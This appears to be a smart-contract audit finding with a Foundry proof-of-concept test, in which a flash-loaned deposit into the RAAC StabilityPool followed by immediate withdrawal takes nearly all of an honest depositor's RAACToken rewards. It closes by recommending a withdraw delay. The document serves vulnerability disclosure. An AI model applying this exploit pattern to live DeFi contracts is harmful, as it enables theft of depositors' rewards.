The problem is user can deposit and immediately withdraw, as a result, a malicious user can flashloan a large amount of RToken(or CrvUSD to mint RToken), then deposits into StabilityPool to receive DeToken, then withdraw with almost all of the RAACToken rewards minted to the contract, hence efficiently steal the rewards.
pragma solidity ^0.8.19;
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
address owner = makeAddr("Owner");
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
RAACMinter raacMinter;
function setUp() public {
vm.warp(1 days);
raacHousePrices = new RAACHousePrices(owner);
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
raacToken = new RAACToken(owner, 100, 50);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
lendingPool.transferOwnership(owner);
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
vm.startPrank(owner);
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
deToken.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
lendingPool.setStabilityPool(address(stabilityPool));
vm.stopPrank();
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
}
function testAudit_StealRAACTokenRewards() public {
uint256 depositAmount = 1000e18;
address alice = makeAddr("Alice");
crvUSD.mint(alice, depositAmount);
vm.startPrank(alice);
crvUSD.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
uint256 aliceRTokenBalane = rToken.balanceOf(alice);
vm.startPrank(alice);
rToken.approve(address(stabilityPool), aliceRTokenBalane);
stabilityPool.deposit(aliceRTokenBalane);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
vm.roll(block.number + 7200);
raacMinter.tick();
assertApproxEqAbs(stabilityPool.calculateRaacRewards(alice), 1000e18, 1e6);
address bob = makeAddr("Bob");
uint256 flashloanAmount = 10000000e18;
crvUSD.mint(bob, flashloanAmount);
vm.startPrank(bob);
crvUSD.approve(address(lendingPool), flashloanAmount);
lendingPool.deposit(flashloanAmount);
uint256 bobRTokenBalane = rToken.balanceOf(bob);
rToken.approve(address(stabilityPool), bobRTokenBalane);
stabilityPool.deposit(bobRTokenBalane);
uint256 bobDeTokenBalance = deToken.balanceOf(bob);
stabilityPool.withdraw(bobDeTokenBalance);
vm.stopPrank();
assertApproxEqAbs(raacToken.balanceOf(bob), 1000e18, 0.1e18);
assertApproxEqAbs(stabilityPool.calculateRaacRewards(alice), 0.1e18, 0.01e18);
}
}
It is recommended to implement a withdraw delay.